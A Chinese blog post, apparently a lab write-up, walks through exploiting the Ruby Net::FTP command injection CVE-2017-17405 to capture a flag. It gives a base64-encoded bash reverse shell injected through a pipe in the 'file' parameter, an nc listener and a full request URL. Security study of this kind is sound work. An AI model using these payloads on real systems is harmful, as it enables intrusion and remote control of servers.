【春秋云镜】Ruby Net::FTP 模块命令注入漏洞(CVE-2017-17405)

2.4.3之前的Ruby允许Net :: FTP命令注入

0x00

Ruby Net::FTP 模块是一个FTP客户端,在上传和下载文件的过程中,打开本地文件时使用了open函数。而在ruby中,open函数是借用系统命令来打开文件,且没用过滤shell字符,导致在用户控制文件名的情况下,将可以注入任意命令。

0x01

需要先在vps使用python创建一个ftp服务,没有环境的需要配置python和安装pyftpdlib

#安装pyftplid

pip install pyftpdlib

#在当前目录下使用python生成一个ftp服务器,默认监听在0.0.0.0:2121端口。

python -m pyftpdlib -p 2121 -i 0.0.0.0

0x02反弹shell


linux反弹shell的命令需要base64编码bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/2333 0>&1
|bash${IFS}-c${IFS}'{echo,YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjExMS4xMTEvMjMzMyAwPiYxCgo=}|{base64,-d}|{bash,-i}'
base64编码后的数据中加号+要替换成%2B,否则浏览器会把+编码成空格,无法反弹shell

0>&1起什么作用参考这篇反弹Shell的方式和详解_powershell 反弹shell-CSDN博客


同时vps监听2333端口:nc -lvp 2333


在yakit抓包拼接后提交数据包,vps反弹出shell

payload:

/ftp?uri=ftp://ip:port/&file=|bash${IFS}-c${IFS}%27{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84Mi4xNTcuMTE2LjI0Ny8yMzMzIDA+JjEKCg==}|{base64,-d}|{bash,-i}%27

获得shell后,使用cat /flag命令获得flag

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值